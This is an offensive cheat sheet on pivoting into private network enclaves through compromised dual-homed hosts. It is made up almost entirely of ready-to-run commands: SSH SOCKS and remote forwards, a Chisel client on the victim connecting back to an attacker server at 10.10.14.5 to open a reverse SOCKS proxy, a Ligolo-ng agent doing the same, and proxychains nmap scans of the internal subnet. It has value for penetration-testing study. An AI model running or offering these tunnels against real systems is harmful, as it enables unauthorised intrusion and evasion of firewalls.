Network Pivoting & Lateral Movement Master Guide
Practical guide to relaying traffic across dual-homed compromised hosts into private network enclaves using Chisel, Ligolo-ng, and SSH dynamic port forwarding.
Practical guide to relaying traffic across dual-homed compromised hosts into private network enclaves using Chisel, Ligolo-ng, and SSH dynamic port forwarding.
1. SSH Dynamic SOCKS & Remote Port Forwarding
# 1. Local SOCKS5 proxy via SSH (Access private subnet through pivot host)
ssh -D 1080 -N -f user@pivot-host.com
# Configure /etc/proxychains4.conf with:
# socks5 127.0.0.1 1080
# Run tools through tunnel:
proxychains4 nmap -sT -Pn -p 80,443,445 10.200.1.0/24
# 2. Remote port forwarding (Expose attacker listener to private internal network)
ssh -R 8080:127.0.0.1:8080 user@pivot-host.com -N2. Chisel HTTP/WebSocket Tunnels
Chisel transports TCP connections and SOCKS5 tunnels over HTTP/WebSocket streams, effortlessly bypassing restrictive outbound firewalls:
# Step 1: Start Chisel server on attacker box
./chisel server -p 8000 --reverse
# Step 2: On compromised pivot host, connect back to server creating reverse SOCKS proxy
./chisel client 10.10.14.5:8000 R:socks
# Attacker machine now has a SOCKS5 proxy listening on 127.0.0.1:1080!3. Ligolo-ng (Modern Tun/Tap Interface Pivoting)
Ligolo-ng creates a genuine TUN interface on the attacker machine, allowing direct routing without needing proxychains:
# Step 1: Create TUN interface on attacker box
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# Step 2: Start Ligolo-ng proxy
./proxy -selfcert -laddr 0.0.0.0:11601
# Step 3: On compromised pivot host, run agent
./agent -connect 10.10.14.5:11601 -ignore-cert
# Step 4: In proxy console, select agent and start tunnel
ligolo-ng >> session
ligolo-ng >> start
# Step 5: Add route on attacker machine to route internal subnet through TUN interface
sudo ip route add 10.200.1.0/24 dev ligolo
# Now nmap, curl, and impacket route natively into 10.200.1.0/24!